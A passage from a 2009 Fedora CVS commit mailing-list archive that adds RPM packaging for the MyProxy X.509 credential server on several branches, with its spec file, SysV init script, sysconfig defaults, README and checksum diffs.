# Put documentation in Fedora defaults and alter GPT package lists.
mkdir -p $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/extras
mv $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}/{refman.pdf,html} \
    $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/.

sed -i "s!/share/doc/%{name}/html/!/share/doc/%{name}-doc-%{version}/html/!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist
sed -i "s!/share/doc/%{name}/refman.pdf!/share/doc/%{name}-doc-%{version}/refman.pdf!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist


# We are going to zip the man pages later in the package so we need to
# correct the gpt data in anticipation.
sed -i "s!\(/share/man/.*\)!\1.gz!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist


for FILE in login.html myproxy-accepted-credentials-mapapp myproxy-cert-checker myproxy-certificate-mapapp \
             myproxy-certreq-checker myproxy-crl.cron myproxy.cron myproxy-get-delegation.cgi \
             myproxy-get-trustroots.cron myproxy-passphrase-policy myproxy-revoke 
do
   mv $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE \
      $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/extras/.
   sed -i "s!%{name}/${FILE}!doc/%{name}-doc-%{version}/extras/${FILE}!" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

mkdir -p $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-%{version}
for FILE in INSTALL LICENSE LICENSE.* PROTOCOL README VERSION
do 
  mv  $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE \
      $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-%{version}/.
  sed -i "s!%{name}/${FILE}!doc/%{name}-%{version}/${FILE}!" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

# Remove irrelavent example configuration files.
for FILE in etc.inetd.conf.modifications etc.init.d.myproxy.nonroot etc.services.modifications  \
            etc.xinetd.myproxy etc.init.d.myproxy
do
  rm $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE
  sed -i "/share\/%{name}\/$FILE/d" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc


# Move example configuration file into place.
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
mv $RPM_BUILD_ROOT%{_datadir}/%{name}/myproxy-server.config \
   $RPM_BUILD_ROOT%{_sysconfdir}
sed -i "/share\/%{name}\/myproxy-server.config/d" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist


mkdir -p $RPM_BUILD_ROOT%{_initddir}
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
install  -m 755 myproxy.init $RPM_BUILD_ROOT%{_initddir}/myproxy-server
install  -m 644 myproxy.sysconfig $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/myproxy-server
mkdir -p $RPM_BUILD_ROOT%{_var}/lib/myproxy

# Create a directory to hold myproxy owned host certificates.
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/grid-security/myproxy

%clean
rm -rf $RPM_BUILD_ROOT


%check 
# Check that the entries in gpt filelists are all present.
GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages
for LIST in $GLOBUSPACKAGEDIR/%{name}/*.filelist
do
   for FILE in $(cat $LIST)
   do
      if [ ! -r $RPM_BUILD_ROOT%{_usr}$FILE ] ; then
        echo "Check failed:"
        echo "Filelist $LIST contains:"
        echo "$FILE"
        echo "which is not present at:"
        echo $RPM_BUILD_ROOT%{_usr}$FILE 
        exit 1
      fi
   done
done



%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%pre server
getent group myproxy >/dev/null || groupadd -r myproxy
getent passwd myproxy >/dev/null || \
useradd -r -g myproxy -d %{_var}/lib/myproxy -s /sbin/nologin \
   -c "User to run the MyProxy service" myproxy
exit 0

%post server
/sbin/chkconfig --add myproxy-server

%preun server
if [ $1 = 0 ] ; then
    /sbin/service myproxy-server stop >/dev/null 2>&1
    /sbin/chkconfig --del myproxy-server
fi

%postun server
if [ "$1" -ge "1" ] ; then
    /sbin/service myproxy-server condrestart >/dev/null 2>&1 || :
fi


%files
%defattr(-,root,root,-)
%{_datadir}/globus/packages/%{name}

%doc %{_defaultdocdir}/%{name}-%{version}

%{_libdir}/libmyproxy.so.4
%{_libdir}/libmyproxy.so.4.0.8

%files client
%defattr(-,root,root,-)
%{_bindir}/myproxy-change-pass-phrase
%{_bindir}/myproxy-destroy
%{_bindir}/myproxy-get-delegation
%{_bindir}/myproxy-get-trustroots
%{_bindir}/myproxy-info
%{_bindir}/myproxy-init
%{_bindir}/myproxy-logon
%{_bindir}/myproxy-retrieve
%{_bindir}/myproxy-store

%{_mandir}/man1/myproxy-change-pass-phrase.1.gz
%{_mandir}/man1/myproxy-destroy.1.gz
%{_mandir}/man1/myproxy-get-delegation.1.gz
%{_mandir}/man1/myproxy-info.1.gz
%{_mandir}/man1/myproxy-init.1.gz
%{_mandir}/man1/myproxy-logon.1.gz
%{_mandir}/man1/myproxy-retrieve.1.gz
%{_mandir}/man1/myproxy-store.1.gz

%files server
%defattr(-,root,root,-)
%{_sbindir}/myproxy-server
%{_initddir}/myproxy-server
%config(noreplace)    %{_sysconfdir}/myproxy-server.config
%config(noreplace)    %{_sysconfdir}/sysconfig/myproxy-server
# myproxy-server wants exactly 700 permission on its data 
# which is just fine.
%attr(0700,myproxy,myproxy) %dir %{_var}/lib/myproxy
%dir %{_sysconfdir}/grid-security
%dir %{_sysconfdir}/grid-security/myproxy

%{_mandir}/man8/myproxy-server.8.gz
%{_mandir}/man5/myproxy-server.config.5.gz

%doc README.Fedora

%files admin
%defattr(-,root,root,-)
%{_sbindir}/myproxy-admin-addservice
%{_sbindir}/myproxy-admin-adduser
%{_sbindir}/myproxy-admin-change-pass
%{_sbindir}/myproxy-admin-load-credential
%{_sbindir}/myproxy-admin-query
%{_sbindir}/myproxy-replicate
%{_sbindir}/myproxy-server-setup
%{_sbindir}/myproxy-test
%{_sbindir}/myproxy-test-replicate
%{_mandir}/man8/myproxy-admin-addservice.8.gz
%{_mandir}/man8/myproxy-admin-adduser.8.gz
%{_mandir}/man8/myproxy-admin-change-pass.8.gz
%{_mandir}/man8/myproxy-admin-load-credential.8.gz
%{_mandir}/man8/myproxy-admin-query.8.gz
%{_mandir}/man8/myproxy-replicate.8.gz

%files doc
%defattr(-,root,root,-)
%doc %{_defaultdocdir}/%{name}-doc-%{version}

%files devel
%defattr(-,root,root,-)
%{_includedir}/globus/myproxy.h
%{_includedir}/globus/myproxy_authorization.h
%{_includedir}/globus/myproxy_constants.h
%{_includedir}/globus/myproxy_creds.h
%{_includedir}/globus/myproxy_delegation.h
%{_includedir}/globus/myproxy_log.h
%{_includedir}/globus/myproxy_protocol.h
%{_includedir}/globus/myproxy_read_pass.h
%{_includedir}/globus/myproxy_sasl_client.h
%{_includedir}/globus/myproxy_sasl_server.h
%{_includedir}/globus/myproxy_server.h
%{_includedir}/globus/verror.h
%{_libdir}/libmyproxy.so
%{_libdir}/pkgconfig/myproxy.pc

%changelog
* Wed Oct 7 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-4
- Add ASL 2.0 license as well.
- Explicitly add /etc/grid-security to files list
- For .el4/5 build only add globus-gss-assist-devel as requirment 
  to myproxy-devel package.
* Thu Oct 1 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-3
- Set _initddir for .el4 and .el5 building.
* Mon Sep 21 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-2
- Require version of voms with fixed ABI.
* Sun Sep 10 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-1
- Increase version to upstream 4.8
- Remove  voms-header-location.patch since fixed upstream now.
- Include directory /etc/grid-security/myproxy
* Mon Jun 22 2009 Steve Traylen <steve.traylen at cern.ch> -  4.7-1
- Initial version.



--- NEW FILE myproxy.sysconfig ---
# Any environment for MyProxy Startup.

# Override these defaults here.
## MYPROXY_USER=myproxy
## MYPROXY_OPTIONS="-s /var/lib/myproxy"
## X509_USER_CERT=/etc/grid-security/myproxy/hostcert.pem
## X509_USER_KEY=/etc/grid-security/myproxy/hostkey.pem




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:08:18 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:15:52 -0000	1.2
@@ -0,0 +1 @@
+myproxy-4.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:08:18 -0000	1.1
+++ sources	11 Oct 2009 06:15:53 -0000	1.2
@@ -0,0 +1 @@
+85f29d553bfec5fa5f2042440542524f  myproxy-4.8.tar.gz



From stevetraylen at fedoraproject.org  Sun Oct 11 06:15:54 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sun, 11 Oct 2009 06:15:54 +0000 (UTC)
Subject: rpms/myproxy/EL-5 README.Fedora, NONE, 1.1 myproxy.init, NONE,
	1.1 myproxy.spec, NONE, 1.1 myproxy.sysconfig, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011061554.6CC1911C00EC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/myproxy/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9888/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	README.Fedora myproxy.init myproxy.spec myproxy.sysconfig 
Log Message:
First version to branches.



--- NEW FILE README.Fedora ---

You must install host certificates for myproxy-server.

These should be located at 

/etc/grid-security/myproxy/hostcert.pem  , permissions 644
/etc/grid-security/myproxy/hostkey.pem   , permission  600

and owned by user/group  myproxy/myproxy.






--- NEW FILE myproxy.init ---
#!/bin/sh
#
# myproxy-server - Server for X.509 Public Key Infrastructure (PKI) security credentials
#
# chkconfig: - 55 25
# description:  Server for X.509 Public Key Infrastructure (PKI) security credentials
#
### BEGIN INIT INFO
# Provides: myproxy-server
# Required-Start:  $local_fs $network $syslog
# Required-Stop:  $local_fs $syslog
# Should-Start:  $syslog
# Should-Stop:  $network $syslog
# Default-Stop:
# Default-Start:
# Short-Description: Startup the MyProxy server daemon
# Description: Server for X.509 Public Key Infrastructure (PKI) security credentials
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

exec="/usr/sbin/myproxy-server"
prog=$(basename $exec)

# Defaults
MYPROXY_USER=myproxy
MYPROXY_OPTIONS="-s /var/lib/myproxy"
X509_USER_CERT=/etc/grid-security/myproxy/hostcert.pem
X509_USER_KEY=/etc/grid-security/myproxy/hostkey.pem

# Override defaults here.
[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog

# A few sanity checks 
[ ! -r $X509_USER_KEY ]  && echo -n "$prog: No hostkey file"  && failure && echo && exit 5
[ ! -r $X509_USER_CERT ] && echo -n "$prog: No hostcert file" && failure && echo && exit 5

lockfile=/var/lock/subsys/$prog


start() {
    echo -n $"Starting $prog: "
    daemon --user $MYPROXY_USER X509_USER_CERT=$X509_USER_CERT X509_USER_KEY=$X509_USER_KEY $exec $MYPROXY_OPTIONS
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}

case "$1" in
    start|stop|restart)
        $1
        ;;
    force-reload)
        restart
        ;;
    status)
        status $prog
        ;;
    try-restart|condrestart)
        if status $prog >/dev/null ; then
            restart
        fi
	;;
    reload)
        # If config can be reloaded without restarting, implement it here,
        # remove the "exit", and add "reload" to the usage message below.
        # For example:
        status $prog >/dev/null || exit 7
        killproc $prog -HUP
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|reload|try-restart|force-reload}"
        exit 2
esac


--- NEW FILE myproxy.spec ---
%{!?_initddir: %global _initddir %{_initrddir}}

%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:           myproxy
Version:        4.8
Release:        4%{?dist}
Summary:        Manage X.509 Public Key Infrastructure (PKI) security credentials

Group:          System Environment/Daemons
License:        NCSA and BSD and ASL 2.0
URL:            http://grid.ncsa.illinois.edu/myproxy/
Source0:        http://www.globus.org/ftppub/myproxy/myproxy-%{version}.tar.gz
Source1:        myproxy.init
Source2:        myproxy.sysconfig
Source3:        README.Fedora

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  globus-gss-assist-devel > 3
BuildRequires:  pam-devel
BuildRequires:  graphviz
BuildRequires:  voms-devel >= 1.9.12.1
BuildRequires:  cyrus-sasl-devel
BuildRequires:  openldap-devel >= 2.3
BuildRequires:  grid-packaging-tools 
BuildRequires:  doxygen

%if "%{?rhel}" == "5"
BuildRequires: graphviz-gd
%endif

%if %{?fedora}%{!?fedora:0} >= 9
BuildRequires:  tex(latex)
%else
%if %{?rhel}%{!?rhel:0} >= 6
BuildRequires:  tex(latex)
%else
BuildRequires:  tetex-latex
%endif
%endif


%description
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

%package client
Requires:      myproxy = %{version}-%{release}
Requires:      globus-proxy-utils
Requires:      voms-clients
Summary:       Manage X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description client
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-client contains client utilities for MyProxy.

%package devel
Requires:      myproxy = %{version}-%{release}
# in .el5 and 4 this dependency is not picked up
# automatically via pkgconfig
%if  0%{?el4}%{?el5}
Requires:      globus-gss-assist-devel > 3
%endif
Summary:       Develop X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description devel
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-devel contains development files for MyProxy.

%package server
Requires(pre):    shadow-utils
Requires(post):   chkconfig
Requires(preun):  chkconfig
Requires(preun):  initscripts
Requires(postun): initscripts
Requires:         myproxy = %{version}-%{release}
Summary:          Server for X.509 Public Key Infrastructure (PKI) security credentials 
Group:            System Environment/Daemons

%description server
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-server contains the MyProxy server.

# Create a sepeate admin clients package since they
# not needed for normal operation and pull in
# a load of perl dependencies.
%package       admin
Requires:      myproxy-server = %{version}-%{release}
Summary:       Server for X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description admin
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-admin contains the MyProxy server admin commands.



%package doc
Requires:      myproxy = %{version}-%{release}
Summary:       Documentation for X.509 Public Key Infrastructure (PKI) security credentials 
Group:         Documentation

%description doc
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-doc contains the MyProxy documentation.


%prep
%setup -q
cp -p %{SOURCE1} .
cp -p %{SOURCE2} .
cp -p %{SOURCE3} .

%build
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*

for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}  --enable-doxygen --with-openldap=%{_usr} \
                                    --with-voms=%{_usr} \
                                    --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{name}/%{flavor}_dev.filelist

# Put documentation in Fedora defaults and alter GPT package lists.
mkdir -p $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/extras
mv $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}/{refman.pdf,html} \
    $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/.

sed -i "s!/share/doc/%{name}/html/!/share/doc/%{name}-doc-%{version}/html/!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist
sed -i "s!/share/doc/%{name}/refman.pdf!/share/doc/%{name}-doc-%{version}/refman.pdf!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist


# We are going to zip the man pages later in the package so we need to
# correct the gpt data in anticipation.
sed -i "s!\(/share/man/.*\)!\1.gz!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist


for FILE in login.html myproxy-accepted-credentials-mapapp myproxy-cert-checker myproxy-certificate-mapapp \
             myproxy-certreq-checker myproxy-crl.cron myproxy.cron myproxy-get-delegation.cgi \
             myproxy-get-trustroots.cron myproxy-passphrase-policy myproxy-revoke 
do
   mv $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE \
      $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/extras/.
   sed -i "s!%{name}/${FILE}!doc/%{name}-doc-%{version}/extras/${FILE}!" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

mkdir -p $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-%{version}
for FILE in INSTALL LICENSE LICENSE.* PROTOCOL README VERSION
do 
  mv  $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE \
      $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-%{version}/.
  sed -i "s!%{name}/${FILE}!doc/%{name}-%{version}/${FILE}!" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

# Remove irrelavent example configuration files.
for FILE in etc.inetd.conf.modifications etc.init.d.myproxy.nonroot etc.services.modifications  \
            etc.xinetd.myproxy etc.init.d.myproxy
do
  rm $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE
  sed -i "/share\/%{name}\/$FILE/d" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc


# Move example configuration file into place.
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
mv $RPM_BUILD_ROOT%{_datadir}/%{name}/myproxy-server.config \
   $RPM_BUILD_ROOT%{_sysconfdir}
sed -i "/share\/%{name}\/myproxy-server.config/d" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist


mkdir -p $RPM_BUILD_ROOT%{_initddir}
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
install  -m 755 myproxy.init $RPM_BUILD_ROOT%{_initddir}/myproxy-server
install  -m 644 myproxy.sysconfig $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/myproxy-server
mkdir -p $RPM_BUILD_ROOT%{_var}/lib/myproxy

# Create a directory to hold myproxy owned host certificates.
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/grid-security/myproxy

%clean
rm -rf $RPM_BUILD_ROOT


%check 
# Check that the entries in gpt filelists are all present.
GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages
for LIST in $GLOBUSPACKAGEDIR/%{name}/*.filelist
do
   for FILE in $(cat $LIST)
   do
      if [ ! -r $RPM_BUILD_ROOT%{_usr}$FILE ] ; then
        echo "Check failed:"
        echo "Filelist $LIST contains:"
        echo "$FILE"
        echo "which is not present at:"
        echo $RPM_BUILD_ROOT%{_usr}$FILE 
        exit 1
      fi
   done
done



%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%pre server
getent group myproxy >/dev/null || groupadd -r myproxy
getent passwd myproxy >/dev/null || \
useradd -r -g myproxy -d %{_var}/lib/myproxy -s /sbin/nologin \
   -c "User to run the MyProxy service" myproxy
exit 0

%post server
/sbin/chkconfig --add myproxy-server

%preun server
if [ $1 = 0 ] ; then
    /sbin/service myproxy-server stop >/dev/null 2>&1
    /sbin/chkconfig --del myproxy-server
fi

%postun server
if [ "$1" -ge "1" ] ; then
    /sbin/service myproxy-server condrestart >/dev/null 2>&1 || :
fi


%files
%defattr(-,root,root,-)
%{_datadir}/globus/packages/%{name}

%doc %{_defaultdocdir}/%{name}-%{version}

%{_libdir}/libmyproxy.so.4
%{_libdir}/libmyproxy.so.4.0.8

%files client
%defattr(-,root,root,-)
%{_bindir}/myproxy-change-pass-phrase
%{_bindir}/myproxy-destroy
%{_bindir}/myproxy-get-delegation
%{_bindir}/myproxy-get-trustroots
%{_bindir}/myproxy-info
%{_bindir}/myproxy-init
%{_bindir}/myproxy-logon
%{_bindir}/myproxy-retrieve
%{_bindir}/myproxy-store

%{_mandir}/man1/myproxy-change-pass-phrase.1.gz
%{_mandir}/man1/myproxy-destroy.1.gz
%{_mandir}/man1/myproxy-get-delegation.1.gz
%{_mandir}/man1/myproxy-info.1.gz
%{_mandir}/man1/myproxy-init.1.gz
%{_mandir}/man1/myproxy-logon.1.gz
%{_mandir}/man1/myproxy-retrieve.1.gz
%{_mandir}/man1/myproxy-store.1.gz

%files server
%defattr(-,root,root,-)
%{_sbindir}/myproxy-server
%{_initddir}/myproxy-server
%config(noreplace)    %{_sysconfdir}/myproxy-server.config
%config(noreplace)    %{_sysconfdir}/sysconfig/myproxy-server
# myproxy-server wants exactly 700 permission on its data 
# which is just fine.
%attr(0700,myproxy,myproxy) %dir %{_var}/lib/myproxy
%dir %{_sysconfdir}/grid-security
%dir %{_sysconfdir}/grid-security/myproxy

%{_mandir}/man8/myproxy-server.8.gz
%{_mandir}/man5/myproxy-server.config.5.gz

%doc README.Fedora

%files admin
%defattr(-,root,root,-)
%{_sbindir}/myproxy-admin-addservice
%{_sbindir}/myproxy-admin-adduser
%{_sbindir}/myproxy-admin-change-pass
%{_sbindir}/myproxy-admin-load-credential
%{_sbindir}/myproxy-admin-query
%{_sbindir}/myproxy-replicate
%{_sbindir}/myproxy-server-setup
%{_sbindir}/myproxy-test
%{_sbindir}/myproxy-test-replicate
%{_mandir}/man8/myproxy-admin-addservice.8.gz
%{_mandir}/man8/myproxy-admin-adduser.8.gz
%{_mandir}/man8/myproxy-admin-change-pass.8.gz
%{_mandir}/man8/myproxy-admin-load-credential.8.gz
%{_mandir}/man8/myproxy-admin-query.8.gz
%{_mandir}/man8/myproxy-replicate.8.gz

%files doc
%defattr(-,root,root,-)
%doc %{_defaultdocdir}/%{name}-doc-%{version}

%files devel
%defattr(-,root,root,-)
%{_includedir}/globus/myproxy.h
%{_includedir}/globus/myproxy_authorization.h
%{_includedir}/globus/myproxy_constants.h
%{_includedir}/globus/myproxy_creds.h
%{_includedir}/globus/myproxy_delegation.h
%{_includedir}/globus/myproxy_log.h
%{_includedir}/globus/myproxy_protocol.h
%{_includedir}/globus/myproxy_read_pass.h
%{_includedir}/globus/myproxy_sasl_client.h
%{_includedir}/globus/myproxy_sasl_server.h
%{_includedir}/globus/myproxy_server.h
%{_includedir}/globus/verror.h
%{_libdir}/libmyproxy.so
%{_libdir}/pkgconfig/myproxy.pc

%changelog
* Wed Oct 7 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-4
- Add ASL 2.0 license as well.
- Explicitly add /etc/grid-security to files list
- For .el4/5 build only add globus-gss-assist-devel as requirment 
  to myproxy-devel package.
* Thu Oct 1 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-3
- Set _initddir for .el4 and .el5 building.
* Mon Sep 21 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-2
- Require version of voms with fixed ABI.
* Sun Sep 10 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-1
- Increase version to upstream 4.8
- Remove  voms-header-location.patch since fixed upstream now.
- Include directory /etc/grid-security/myproxy
* Mon Jun 22 2009 Steve Traylen <steve.traylen at cern.ch> -  4.7-1
- Initial version.



--- NEW FILE myproxy.sysconfig ---
# Any environment for MyProxy Startup.

# Override these defaults here.
## MYPROXY_USER=myproxy
## MYPROXY_OPTIONS="-s /var/lib/myproxy"
## X509_USER_CERT=/etc/grid-security/myproxy/hostcert.pem
## X509_USER_KEY=/etc/grid-security/myproxy/hostkey.pem




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:08:18 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:15:53 -0000	1.2
@@ -0,0 +1 @@
+myproxy-4.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:08:18 -0000	1.1
+++ sources	11 Oct 2009 06:15:54 -0000	1.2
@@ -0,0 +1 @@
+85f29d553bfec5fa5f2042440542524f  myproxy-4.8.tar.gz



From stevetraylen at fedoraproject.org  Sun Oct 11 06:15:55 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sun, 11 Oct 2009 06:15:55 +0000 (UTC)
Subject: rpms/myproxy/F-12 README.Fedora, NONE, 1.1 myproxy.init, NONE,
	1.1 myproxy.spec, NONE, 1.1 myproxy.sysconfig, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011061555.A217B11C00EC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/myproxy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9888/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	README.Fedora myproxy.init myproxy.spec myproxy.sysconfig 
Log Message:
First version to branches.



--- NEW FILE README.Fedora ---

You must install host certificates for myproxy-server.

These should be located at 

/etc/grid-security/myproxy/hostcert.pem  , permissions 644
/etc/grid-security/myproxy/hostkey.pem   , permission  600

and owned by user/group  myproxy/myproxy.






--- NEW FILE myproxy.init ---
#!/bin/sh
#
# myproxy-server - Server for X.509 Public Key Infrastructure (PKI) security credentials
#
# chkconfig: - 55 25
# description:  Server for X.509 Public Key Infrastructure (PKI) security credentials
#
### BEGIN INIT INFO
# Provides: myproxy-server
# Required-Start:  $local_fs $network $syslog
# Required-Stop:  $local_fs $syslog
# Should-Start:  $syslog
# Should-Stop:  $network $syslog
# Default-Stop:
# Default-Start:
# Short-Description: Startup the MyProxy server daemon
# Description: Server for X.509 Public Key Infrastructure (PKI) security credentials
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

exec="/usr/sbin/myproxy-server"
prog=$(basename $exec)

# Defaults
MYPROXY_USER=myproxy
MYPROXY_OPTIONS="-s /var/lib/myproxy"
X509_USER_CERT=/etc/grid-security/myproxy/hostcert.pem
X509_USER_KEY=/etc/grid-security/myproxy/hostkey.pem

# Override defaults here.
[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog

# A few sanity checks 
